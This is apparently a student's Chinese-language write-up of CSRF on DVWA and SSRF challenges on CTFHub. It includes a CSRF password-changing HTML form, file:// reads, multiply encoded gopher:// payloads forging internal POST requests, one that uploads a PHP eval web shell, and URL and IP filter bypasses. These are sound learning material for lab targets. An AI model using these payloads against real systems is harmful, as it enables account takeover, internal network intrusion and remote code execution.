CSRF
CSRF,本名为Cross-site requestforgery(跨站请求伪造)
CSRF攻击过程
目标用户已经登录了网站,能够执行网站的功能
目标用户访问了攻击者构造的payload
漏洞存在原因
DVWA靶场里面有不同级别
LOW
进去看发现只需要输入新的密码和确认新的密码就可以修改账号的密码,F12也没有发现token验证
直接抓包,利用burpsuit制造csrf文件,放根目录下,我现在的密码是123456
< html>
< body>
< script> history. pushState ( '' , '' , '/' ) </ script>
< form action = " http://127.0.0.1/DVWA-master/vulnerabilities/csrf/" >
< input type = " hidden" name = " password_ new" value = " 888888" />
< input type = " hidden" name = " password_ conf" value = " 888888" />
< input type = " hidden" name = " Change" value = " Change" />
< input type = " submit" value = " Submit request" />
</ form>
</ body>
</ html>
当我访问csrf.html文件的时候,并且点击Submit request,因为我已经登录了账号网页返回了cookie
网页就会直接把我已经登录的账号密码修改掉
Medium 和low级别无差别
High 抓包的时候需要在burpsuit中将级别改为low
impossible 因为需要用户当前密码的二次验证,不知道当前密码就无法修改密码
SSRF
SSRF,全称Server Side RequestForgery—服务器端请求伪造
SSRF漏洞原理 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤的限制。
主要攻击方式
对外网、服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
攻击运行在内网或本地的应用程序
对内网web应用进行指纹识别,识别企业内部的资产信息
攻击内外网的web应用,主要是使用HTTP GET请求就可以实现的攻击
利用file协议读取本地文件等
SSRF是在CTFHub学习的
内网访问
尝试访问位于127.0.0.1的flag.php吧
直接在url上加上/?url=http://127.0.0.1/flag.php
就可以得到flag了
伪协议读取文件
伪协议前面的文章已经说过很多次了
和上道题目一样直接访问/?url=http://127.0.0.1/flag.php
页面返回???
题目是伪协议 我们就用伪协议去读取/?url=file:///var/www/html/flag.php
端口扫描
题目已经提示了端口的范围为8000-9000
爆破就完事了
发送到Repeater中就可以得到flag了。
Gopher协议学习
Gopher是Internet上的一个信息查找系统,其将Internet上的文件组织成某种索引,将用户从Internet的一处带到另外一处。
Gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求
利Gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。
Gopher协议的格式 URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
CTFHUP:POST请求
这道题我学了一下午
hint:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
访问http://challenge-527e8656f5239cf0.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
返回一个输入框 连个提交按钮都没有(前端可以自己造)
不过我们可以通过file协议去读取文件源码
<?php
error_reporting ( 0 ) ;
if ( ! isset ( $_REQUEST [ 'url' ] ) ) {
header ( "Location: /?url=_" ) ;
exit;
}
$ch = curl_init ( ) ;
curl_setopt ( $ch , CURLOPT_URL , $_REQUEST [ 'url' ] ) ;
curl_setopt ( $ch , CURLOPT_HEADER , 0 ) ;
curl_setopt ( $ch , CURLOPT_FOLLOWLOCATION , 1 ) ;
curl_exec ( $ch ) ;
curl_close ( $ch ) ;
?>
<?php
error_reporting ( 0 ) ;
if ( $_SERVER [ "REMOTE_ADDR" ] != "127.0.0.1" ) {
echo "Just View From 127.0.0.1" ;
return ;
}
$flag = getenv ( "CTFHUB" ) ;
$key = md5 ( $flag ) ;
if ( isset ( $_POST [ "key" ] ) && $_POST [ "key" ] == $key ) {
echo $flag ;
exit;
}
?>
如果你直接在flag.php页面提交了key的值 它会返回Just View From 127.0.0.1,因为你的post参数传入的不是内网,而是你现在访问的地址,而这个文件只能通过内网访问
那么接下来就要思考如何通过内网去访问了
我们上面提到的Gopher协议在这里就体现出它的功能了
首先我们上传key值的时候会抓包
抓包过后我们提取我们需要的信息,准备构造payload
必须要有下面的内容
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=e51d59854bfe930e0bf1e608691914f6
我们要做的是使得这个post请求传到的是?url=127.0.0.1/index.php
上
将上面构造的payload进行url编码,这里需要注意将换行的url编码由%0A
换成%0D%0A
经过三次编码得到下面的payload:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
/?url=127.0.0.1/index.php?url=gopher://127.0.0.1:80/_POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253De51d59854bfe930e0bf1e608691914f6
得到flag
后来询问了学校的大佬其实可以只编码两次然后直接上传?url=gopher://…部分 尝试了有效!!!!
两次编码是url自己解码一次,gopher时候进行了一次编码
三次编码就是url解码一次,gopher解码一次
CTFHUB:UPLOAD
同样get上传?url=127.0.0.1/flag.php
这次是一个upload文件
这里缺少一个submit按钮自己构造一下<input type="submit" name="submit">
提交后和上面的那道题一样Just View From 127.0.0.1
又是一道需要通过内网去获取信息的题目
读取一下源码 ?url=file:///var/www/html/flag.php
返回的有点问题和页面代码混起来了
<?php
error_reporting ( 0 ) ;
if ( $_SERVER [ "REMOTE_ADDR" ] != "127.0.0.1" ) {
echo "Just View From 127.0.0.1" ;
return ;
}
if ( isset ( $_FILES [ "file" ] ) && $_FILES [ "file" ] [ "size" ] > 0 ) {
echo getenv ( "CTFHUB" ) ;
exit;
}
?>
Upload Webshell
< form action= "/flag.php" method= "post" enctype= "multipart/form-data" >
< input type= "file" name= "file" >
< / form>
?>
<?php
error_reporting ( 0 ) ;
if ( ! isset ( $_REQUEST [ 'url' ] ) ) {
header ( "Location: /?url=_" ) ;
exit;
}
$ch = curl_init ( ) ;
curl_setopt ( $ch , CURLOPT_URL , $_REQUEST [ 'url' ] ) ;
curl_setopt ( $ch , CURLOPT_HEADER , 0 ) ;
curl_setopt ( $ch , CURLOPT_FOLLOWLOCATION , 1 ) ;
curl_exec ( $ch ) ;
curl_close ( $ch ) ;
?>
这道题不是真的需要你上传webshell,只要你上传任意一个文件到127.0.0.1的地址上就好了
抓个包 和上面那道题一样获取所需要的信息做出payload
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520328%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/86.0.4240.198%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A//challenge-03512614d3fa8330.sandbox.ctfhub.com%253A10080/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%250D%250Aeval%2528%2524_POST%255Bwhoami%255D%2529%253B%250D%250A%253F%253E%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%250D%250A------WebKitFormBoundaryraDVcM1y9juGcBJu--%250D%250A
CGI 和 FastCGI 协议
概述:FastCGI 是一种通信协议;在 CGI 协议中,Web 应用的生命周期完全依赖于 HTTP 请求的声明周期,FastCGI 进程是常驻型的,一旦启动就可以处理所有的 HTTP 请求,而无需直接退出
FastCGI协议的组成
-Version: 用于表示 FastCGI 协议版本号。
-Type: 用于标识 FastCGI 消息的类型 - 用于指定处理这个消息的方法。
-RequestID: 标识出当前所属的 FastCGI 请求。
-Content Length: 数据包包体所占字节数。
- BEGIN_REQUEST: 从 Web 服务器发送到 Web 应用,表示开始处理新的请求。
- ABORT_REQUEST: 从 Web 服务器发送到 Web 应用,表示中止一个处理中的请求。比如,用户在浏览器发起请求后按下浏览器上的「停止按钮」时,会触发这个消息。
- END_REQUEST: 从 Web 应用发送给 Web 服务器,表示该请求处理完成。返回数据包里包含「返回的代码」,它决定请求是否成功处理。
- PARAMS: 「流数据包」,从 Web 服务器发送到 Web 应用。此时可以发送多个数据包。发送结束标识为从 Web 服务器发出一个长度为 0 的空包。且 PARAMS 中的数据类型和 CGI 协议一致。即我们使用 $_SERVER 获取到的系统环境等。
- STDIN: 「流数据包」,用于 Web 应用从标准输入中读取出用户提交的 POST 数据。
- STDOUT: 「流数据报」,从 Web 应用写入到标准输出中,包含返回给用户的数据。
Web服务器和FastCGI交互过程
Web服务器接受用户请求,但最终处理请求由Web应用完成。此时Web服务器通过套接字连接到FastCGI进程
FastCGI进程查看接受=收到连接。选择[接受]或[拒绝]连接。如果是[接受]连接,则从标准输入流中读取数据包
如果FastCGI进程中在指定时间内没有成功接收到连接,则该请求失败。否则,Web 服务器发送一个包含唯一的RequestID 的 BEGIN_REQUEST 类型消息给到 FastCGI 进程。后续所有数据包发送都包含这个 RequestID。 然后,Web 服务器发送任意数量的 PARAMS 类型消息到 FastCGI 进程。一旦发送完毕,Web 服务器通过发送一个空PARAMS 消息包,然后关闭这个流。 另外,如果用户发送了 POST 数据 Web 服务器会将其写入到 标准输入(STDIN) 发送给 FastCGI 进程。当所有 POST 数据发送完成,会发送一个空的 标准输入(STDIN) 来关闭这个流。
同时,FastCGI 进程接收到 BEGINREQUEST 类型数据包。它可以通过响应 ENDREQUEST 来拒绝这个请求。或者接收并处理这个请求。如果接收请求,FastCGI 进程会等待接收所有的 PARAMS 和 标准输入数据包。 然后,在处理请求并将返回结果写入 标准输出(STDOUT) 流。处理完成后,发送一个空的数据包到标准输出来关闭这个流,并且会发送一个 END_REQUEST 类型消息通知 Web 服务器,告知它是否发生错误异常。 以上内容来自前面给的网址 这里还有补充FastCGI架构图与流程
CTFHUB:FastCGI
CTFHUB:Redis
CTFHUB:URL Bypass
hint:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
向给大家看一个神奇的东西
访问[email protected]
页面跳转到4399界面
那么这道题我们也可以利用这个url解析所出现的问题
直接访问?url=127.0.0.1/flag.php
页面会显示hint的内容
所以改url为?url=http://[email protected] /flag.php
得到flag
下面是原理的讲解
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。 http://[email protected]
后端的正则表达式过滤不够严谨的时候,比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是www.4399.com上的内容。
CTFHUB:数字 IP Bypass
hint:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
同样访问/?url=127.0.0.1/flag.php
页面放回被ban的内容
不能用十进制访问 那可以有八进制 十六进制嘛
/?url=0x7f.0x1/flag.php
这里补充一点原本应该是0x7f.0x0.0x0.0x1/flag.php
,但是127.0.0.1可以转化为127.1
CTFHUB:302跳转 Bypass
hint:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
为什么我直接输入?url=127.0.0.1/flag.php
就得到了flag了
CTFHUB:DNS重绑 Bypass